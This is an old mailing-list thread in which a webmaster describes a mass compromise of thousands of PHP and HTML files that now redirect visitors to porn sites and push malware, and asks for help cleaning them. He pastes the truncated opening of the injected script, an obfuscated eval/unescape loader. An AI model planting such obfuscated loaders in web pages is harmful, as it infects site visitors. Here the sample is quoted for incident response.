thanks pete for your reply yes files are changed in the end of every html file, php file in each and every folder on around 50 separate websites a large encrypted code or iframe was injected i have 400 folders in ftp in one site with index.php and all 400 index.php files are injected with this code and this is just 1 site there are 30 more ftp accounts with 50 or 100 folders having html or php files injected with this code. the total affected files might be around 3000 - 5000 or more i am writing below the starting few lines of the code that is injected maybe someone else have seen this code before i have removed the script tag that was in the start <!-- ad -->window['eDvWa0lZ'.replace(/[ZWDz0]/g, '')] (window['eDvWa0lZ'.replace(/[ZWDz0]/g, '')] ('u(nTeTsmc7aTpmem'.replace(/[h\(7mT]/g, ''))('%66%75%6e%63%74%69%6f%6e%20%41 %50%6c%4c%41%28%41%50%6c%6c%29%7b%66 %75%6e%63%74%69%6f%6e%20%41%41 On Wed, Jan 14, 2009 at 3:36 AM, Pete <cgrp@xxxxxxxxxxxx> wrote: > In message <eeadcf600901131158w517b308nd9e590eaf8b446c8@xxxxxxxxxxxxxx<eeadcf600901131158w517b308nd9e590eaf8b446c8%40mail.gmail.com> > >, > Farhan khalid <farhan2kf@xxxxxxxxx <farhan2kf%40gmail.com>> writes > > >Hi, > > > >Alot of my sites and clients sites were somehow hacked and injected with > >some encrypted code that redirects users to porn site and downloads virus > on > >the system > > > >i am attaching the code sample if somebody wants to check.This code is at > >the end of each php, html and asp files now i have to clean hundreds of > >files and remove this code > > Your sample was blocked. However, are you sure that the files have been > changed? > > Are you 100% sure that it isn't software that is adding the code to each > file, as it is requested by the site visitors? I have seen that happen > before. > > >can anyone tell me about some crawler script that can read every file in > all > >folders and subfolders and find this code remove it automatically as i > need > >to urgently fix this issue and downloading all files manually removing > code > >will take really long time > > I wouldn't have thought so. Automatically FTP everything down, a really > big search and replace, and automatically FTP everything up again. > > It might take a few hours to run, but it shouldn't take you more than 15 > minutes "work time" > > -- > Pete Clark > > Advertise your events in Spain - local and free > http://hotcosta.com/events.php > > [Non-text portions of this message have been removed]